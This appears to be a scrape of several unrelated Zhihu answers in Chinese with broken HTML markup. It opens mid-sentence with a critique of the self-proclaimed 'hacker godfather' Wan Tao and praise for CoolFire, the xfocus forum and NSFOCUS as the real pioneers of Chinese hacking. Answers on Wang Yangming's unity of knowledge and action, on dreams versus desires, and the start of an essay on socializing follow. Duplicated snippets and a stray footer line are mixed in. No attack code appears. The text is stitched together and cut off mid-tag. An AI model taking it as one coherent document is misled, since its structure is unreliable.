class=&icon-external&&&/i&&/a&)。&/p&&p&&b&打着“黑客教父”旗号,谈了13年黑客文化&/b&&/p&&p&既然成了“黑客教父”,总得干点黑客该干的事儿吧。再看万涛同学,13年了,到处鼓吹“黑客文化”,总结起来无非就是两点,一是爱国,二是刺刀带着思想。至于黑客技术细节,那是绝对闭口不谈的。&/p&&p&按照有些媒体的报道,万涛上大学时玩过病毒,水平咋样外人不得而知,相信行业里绝大多数人也不知道。因为你要对他讲技术,他一定对你讲文化。从没见到万涛发布过原创的技术成果,原创的诗倒是写了不少。&/p&&p&在微博上见到@PP_r00t(曾经活跃在安全焦点上的老一代黑客)对万涛的评价,感觉最合适不过了:&/p&&p&忽悠了13年,不容易,“最”反美的“黑客”在美国公司工作,拿美国人的薪水,这是无间道吗?这15年来,某人给大家上了15年的“黑客文化”课了,也没见真干出点什么技术上的事啊?哪怕黑一台机器啊,光有思想没刺刀,干毛啊?难怪要ping死别人。这都叫什么事(还好他不会dir溢出...)?&/p&&p&&b&真正的“中国黑客教父”:一个人、一个论坛、一家公司&/b&&/p&&p&既然说教父,一定是对黑客技术发展真正做出贡献的人。虽然不同时期很多人都号称过中国黑客教父,但我觉得,真正配得上这个称呼的,只有一个人、一个论坛和一家公司。&/p&&p&&b&一个人:CoolFire,中国黑客技术的布道者&/b&&/p&&p&CoolFire是台湾人,中文名字叫做林正隆。在黑客技术在国内互联网刚刚出现时,Coolfrie翻译发布了国外许多技术文章,他还写过一个黑客守则13条,想当黑客的真应该先看看。&/p&&p&CoolFire最著名的文章是黑客入门8篇。每篇文章都这样开头:“这不是一个教学文件,只是告诉你该如何破解系统,好让你能够将自己的系统作安全的保护,如果你能够将这份文件完全看完,你就能够知道电脑骇客们是如何入侵你的电脑,我是CoolFire,写这篇文章的目的是要让大家明白电脑安全的重要性,并不是教人Crack Password”。&/p&&p&现在来看,CoolFire的很多文章都是基础知识,但很多人就是通过CoolFire进入了黑客这个无穷神秘的世界。虽然不为媒体和大众知晓,CoolFire才是真正的中国黑客教父。&/p&&p&&b&一个论坛:安全焦点,精英荟萃&/b&&/p&&p&现在搜索各种黑客榜,安全焦点(&a href=&///?target=http%3A//www.xfocus.net& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&网络安全焦点::自由的信息安全、黑客攻防和漏洞研究组织&i class=&icon-external&&&/i&&/a&)是一个上镜率颇高的词汇。尽管早已盛况不再,但安焦确实是那个年代中国黑客交流技术和互相学习进步最好的平台。&/p&&p&安焦汇集了那时来自五湖四海、不同公司、不同身份的黑客技术精英,包括alert7、flashsky、benjurry、tombkeeper、PP_r00t、swan、watercloud、funnywei、冰河、小榕等一大批人(牛人太多列不过来了)。&/p&&p&&b&一家公司:中联绿盟,中国黑客的黄埔军校&/b&&/p&&p&很多人把绿色兵团当作绿盟的前身,绿色兵团的goodwell也因此有着“中国黑客教父”之称(ft,怎么这么多教父),其实这是完全错误的。&/p&&p&绿色兵团早期只是个导航站,提供一些黑客个人站点和技术网站的链接。沈继业(网名眼圈)在上海成立上海绿盟时,goodwell是五个股东之一。后来眼圈在北京成立公司,接受中联的投资,也就是中联绿盟。因为一些原因,goodwell与绿盟分道扬镳(不具体八了,总之中联绿盟和绿色兵团没任何关系)。&/p&&p&中联绿盟最大的贡献,除了翻译一些国外技术资料、发布不少原创文章以外,还给各大互联网公司输送了不少大牛,比较有名的包括去了360的yuange、hume,去了腾讯的tombkeeper,去阿里的曲P9(coolq1981)等人;有正在创业的deepin、caoz、watercloud等;还有出了国在FireEye干得风生水起的ipxodi。&/p&&p&如今还坚守在绿盟的大牛,也只剩下warning3、STAR、小四等寥寥几位,真心希望绿盟这个中国黑客的黄埔军校能再次焕发青春,也希望媒体和大众关注真正的黑客大牛,而不是让南郭先生冒充教父到处招摇撞骗了。&/p&
说起这个黑客老鹰万涛,我就呵呵了。正好今天有时间,就八一八所谓的“中国黑客教父”。利用中美黑客大战成名的万涛,最大本事是“ping白宫网站”万涛出名最早是从2001年的中美黑客大战开始,那会儿口号喊得最响的有两个所谓的黑客组织,一个是中国红客联盟…
“知行合一”,我觉得这四个字是王阳明给后人最大的启发~&br&&br&&ul&&li&“知是行之始,行是知之成。若会得时,只说一个知,已自有行在。只说一个行,已自有知在。”&br&&/li&&li& “古人所以既说一个知,又说一个行者,只为世间有一种人,懵懵懂懂的任意去做,全不解思惟省察。也只是个冥行妄作。所以必说个知,方才行得是。”&br&&/li&&li&“……又有一种人,茫茫荡荡,悬空去思一索。全不肯着实躬行。也只是个揣摸影响。所以必说一个行, 方才知得真。”&br&&/li&&li&“……今人却就将知行分作两件去做。以为必先知了,然后能行。我如今且去讲习讨论做知的工夫。待知得真了,方去做行的工夫。故遂终身不行,亦遂终身不知。”&br&&/li&&/ul&&br&
这四句话(出自《传习录》)是对上面四个字的解释,多么的精髓啊!但是,有几个人做得到呢?王阳明最牛逼的地方在于他不仅悟得了这个道理,还亲自付出实践!
“知行合一”,我觉得这四个字是王阳明给后人最大的启发~ “知是行之始,行是知之成。若会得时,只说一个知,已自有行在。只说一个行,已自有知在。” “古人所以既说一个知,又说一个行者,只为世间有一种人,懵懵懂懂的任意去做,全不解思惟省察。也只是…
-&br&问得好。谢邀。&br&&br&&blockquote&世上只有两种力量:利剑和思想。从长而论,利剑总是败在思想手下&br&——拿破仑·波拿巴&/blockquote&&br&在知乎,「唯实力论」是相当有市场的。&br&——斗争的胜负都由实力决定,跟理想,梦想,爱一点关系都没有。&br&很多年轻人用这个来标榜自己的成熟,借以打击那些把爱与梦想挂在嘴边的「中二少年」,提升自己的存在感。&br&&br&&b&塔死钉狗!哈哈!是的!&/b&&br&&br&老规矩先上结论:&br&&b&实力源于对梦想的坚持,机会只留给有准备的人。&/b&&br&&b&梦想是你的长期战略目标,是你一无所有时继续坚持的无限筹码。&/b&&br&&b&梦想与欲望有很大区别。&br&梦想不是空想,梦想需验证,需践行。&/b&&br&&br&&br&&b&1,梦想是长期目标,人生的指路明灯&/b&&br&有梦想的人在别人看来很「固执」。他们的坚持很少被其他人的说辞,生活上的变故,社会上的思潮打动。&br&&br&在国内,梦想是奢侈品。知道自己&b&「想要什么,要做什么,喜欢什么」&/b&的人是绝对少数,被当做异类也如此的理所当然。&br&当这个异类是有&b&代价&/b&的:说起「梦想」的话很难得到认同;受到的更多是嘲笑,冷眼,苦口婆心的劝解,甚至激烈的反对;你不能因为有梦想而受益,反而会觉得很沉重;&br&&br&真正有梦想的人会知道梦想的好处:&br&&b&梦想是自己的一个长期目标。&/b&它不那么容易达成,可以时刻指引你要走的方向。只要想起它,你就可以随时知道自己&b&「想要什么,要做什么,喜欢什么」&/b&。&br&它可以让你在绝大多数情况下告诉你该如何选择,如何&b&取舍&/b&&br&受到诱惑的时候可以更好地排除&b&诱惑&/b&,因此他们&b&审美&/b&更加稳定。&br&知道了这些,你就可以照着去做,所以有了梦想还可能会有个不错的赠品:更好的自我完善体系。&br&&br&&b&梦想其实分为两部分:&/b&&br&「梦」,是你的目标,你要达成的那个状态或结果;「想」,是你得出结论和达成目标的思辨过程,是你为什么要追寻你的梦的理由,是你达成你的梦的路径。&br&两者相辅相成,没有先后。&br&但我这里要重点强调一下「想」,因为「想」要求你有独立思考能力,「梦」经过反复辨证才能够让你更加坚定,不那么容易被其他东西所击倒;「梦」经过周密的计划和统筹,更好地践行和坚持,才能够得以实现。&br&&br&我们知道,想要达成目标,专注是必不可少的。在职业方面,「三年一转行」这种很少有能做出比较卓越成就的。&b&而保持专注的主要方式,就是有一个梦想,一个长期的目标。有目标的人比没有目标的人更加有理由去坚持,去验证,去践行。&/b&&br&&br&很多年轻人说起「梦想」总会冷嘲热讽,稍好一点的认为「成功人士才有资格谈梦想」&br&——这句话的第一个错误是:梦想不光是嘴上说的,是在脚下&b&践行&/b&的。不能在嘴上说不是因为别的,而是因为这个荒唐的社会容不下别人的梦想。&br&——第二个错误是:「成功人士」相当一部分是先有梦想,然后成功的。「成功人士才有资格谈梦想」是明显的倒果为因。&br&——第三个错误是:&b&梦想是独立思考的结果,也是实力的一部分。&/b&&br&&br&扩展阅读1:&a href=&/trauma/& class=&internal&&创业的基因 - 随笔 - 知乎专栏&/a&&br&&br&&b&2,BUG级反平衡机制&/b&&br&很多价值观停留在二元及以下的人,总是把人的一生认为是一个单因素模型。他们的人生是一盏天平,且很少处于平衡状态:社会上的任何风吹草动几乎都可以影响到他们的三观,他们的三观一天刷两次,早晚各一次;今天还趋之若鹜的东西,明天可能就嗤之以鼻。他们的审美和判断绝大多数情况下处于摇摆不定的状态——世界对于他们太过纷繁复杂,他们被信息淹没了。&br&&img src=&/fffb114ec5_b.jpg& data-rawwidth=&700& data-rawheight=&700& class=&origin_image zh-lightbox-thumb& width=&700& data-original=&/fffb114ec5_r.jpg&&当然了,这只是一个举例哈。&br&&br&有梦想的人的天平大概是这样的:(谢 &a data-hash=&4eacb49aee143bb29cd961& href=&///people/4eacb49aee143bb29cd961& class=&member_mention& data-editable=&true& data-title=&@子暮& data-tip=&p$b$4eacb49aee143bb29cd961& data-hovercard=&p$b$4eacb49aee143bb29cd961&&@子暮&/a& 帮忙拼图)&br&&br&&img src=&/4fb35aa26d61d98b0b6770e_b.jpg& data-rawwidth=&700& data-rawheight=&700& class=&origin_image zh-lightbox-thumb& width=&700& data-original=&/4fb35aa26d61d98b0b6770e_r.jpg&&&br&拿手把天平摁住,你那边放啥老子都是平衡的……IMBA吧……&br&在诱惑,打击和困难面前,哪怕在你一无所有的时候,梦想几乎是一种「逆天的作弊机制」,它可以让你「在怎么看都需要放弃的情况下继续坚持」,从而达成你的目的。如果没达成呢?我尽力了,不后悔。&br&这是一种超越博弈,超越利益的东西。它不以物质为基础,它可以让你超越别人无法超越的困难,可以让你在绝境下依然坚持。&br&&br&很多人看别人傻B一样坚持梦想的时候都很疑惑:那个傻B难道脑子少根筋吗?明显不靠谱的事情还要做。这么说的人是不会想到,对方的天平有一只「上帝之手」在那摁着呢……想让它失衡没那么容易……&br&&br&&br&&b&3,不得不说:理想与欲望的区别&/b&&br&个人理解:&br&欲望是天生的,理想是后天的;&br&欲望渴望得到,理想渴望付出;&br&私欲更多利己,理想可以利他;&br&&br&经常有人说「理想就是比欲望更崇高一些」「理想远欲望近」「这俩是一个东西」云云。&br&这些观点难以苟同。&br&&br&欲望是哪来的?生下来你就要吃,不吃就饿死。生下来就要保暖,否则就冻死;长大之后你要吃更好的,穿更好的。这是欲望和欲望的延伸。所以说「欲望的本质是生物本能」。&br&理想不是。理想不是生理需求,不做也不会死;理想也不是欲望的延伸,因为你无法倒寻出理想在生理需求中的「原像」。理想也不必在生理需求得到满足后才有,它可能在你没吃饱时候就出现了——但它明显不会让你从吃不饱到吃饱。&b&理想就是理想,能形容它的只有它自己。&/b&&br&&br&有理想的人不是不渴望得到,但在得到之前他会主动地,不怕伤害地,无条件付出。付出的时候专注地付出,不想着回报,&b&全情投入过的人会明白这个体验。&/b&&br&「没什么东西能让自己动心」和「过于小心算计得失」的人一般是难以体验到这种全情投入的。&br&&br&第三句中我用了「私欲」。欲望一般都是利己的,或者是变相利己的。要么把利益直接作用于自己,要么是「把利他作为利己的跳板」。我这里说的理想是「完全利他」的。求的不是名望,不是更多财富,不是地位,而是单纯地付出。&br&说我「世界上没有这样的人,所有人都是且仅是利己的」或者「一无所有的和尚才会这样」或者「那些人为的是爽,还是利己」的(你看我多贴心连你们的说辞都帮你们想好了中国好答主啊),我只能说「以己度人是不好的,你的世界是这样不代表别人的世界也这样」。&b&有机会你真应该见见这些「干干净净付出的人」。&/b&&br&&br&&b&4,梦想与空想的区别:梦想需验证,更需践行&/b&&br&梦想与空想的区别是什么?我认为有两个区别。&br&第一,空想家的目标不能指导行动。&br&第二,空想家只说不做。&br&&br&&blockquote&我要創建一個,大家會再想要來轉世投胎的國家&br&——坂本龍馬&/blockquote&&br&这梦想够大了吧!放在中国的话,被嘲笑是板上钉钉的事!&br&但我告诉你版本龙马都做了些什么:&br&&blockquote&在从长崎到兵库(今神户市一区)的航行中,提出“船中八策”,强调政权归还天皇朝廷,并设想建立以天皇为中心的新的国家政权体制。经过他的努力 ,7月23~27日 ,又先后缔结萨摩、土佐两藩盟约(萨土盟约)和萨土艺三藩约定(艺即安艺,在今广岛县),进一步扩大了倒幕统一战线。后通过同藩的后藤象 二 郎说服藩主山内丰信 ,促其劝告幕府将军德川庆喜“奉还大政”。日夜,在京都与同藩倒幕派人士、陆援队队长中冈慎太郎商谈时,被刺客暗杀。&/blockquote&从这段,你就知道龙马认为&b&「改变日本的政治模型」&/b&才能让自己国家更好。他还没有看到梦想实现就被杀了,死于自己的梦想。&br&&br&&b&龙马是从小的梦想就是这个吗?显然不是,梦想绝非一蹴而就。「儿时梦想&/b&&b&」有一个在迷雾中渐渐清晰的过程。&/b&&br&&b&但前提是,你一直在朝着梦想那盏灯的方向走,因为有梦想,不曾迷失。&/b&&br&&b&如果你的梦想没能指导你的生活,你的行动,梦想只在口头说说而已,那么你的不是梦想,是空想。&/b&&br&&br&&br&寻找梦想的路上充满坎坷。一张图,一句话,与还拥有理想的各位共勉。&br&&img src=&/ae5faeccc0cce1_b.jpg& data-rawwidth=&440& data-rawheight=&1605& class=&origin_image zh-lightbox-thumb& width=&440& data-original=&/ae5faeccc0cce1_r.jpg&&&br&&br&You have a dream, you got to protect it.&br&如果你有梦想,就要守护它。&br&People can't do som they wanna tell you you can not do it.&br&当人们做不到一些事情的时候,他们就会对你说你也同样不能。&br&You want something. Go get it!&br&有了目标就要全力以赴!&br&——《当幸福来敲门》&br&&br&-
- 问得好。谢邀。 世上只有两种力量:利剑和思想。从长而论,利剑总是败在思想手下 ——拿破仑·波拿巴 在知乎,「唯实力论」是相当有市场的。 ——斗争的胜负都由实力决定,跟理想,梦想,爱一点关系都没有。 很多年轻人用这个来标榜自己的成熟,借以打击…
&p&-&/p&&p&&br&&/p&&p&我想用这一篇文章阐明社交的本质,从而在根本上终结所有的社交问题。&/p&&p&&br&&/p&&p&这篇文章一共七千多字,写到最后的时候我有一种预感,这篇文章可能会改变很多人的一生。&/p&&p&&br&&/p&&p&.&/p&&p&&br&&/p&&p&&br&&/p&&p&社交在本质上分为两种。一种是&b&「共情社交」&/b&,一种是&b&「功利社交」&/b&。&/p&&p&&br&&/

我要回帖

更多关于 老式照相机图片 的文章

 

随机推荐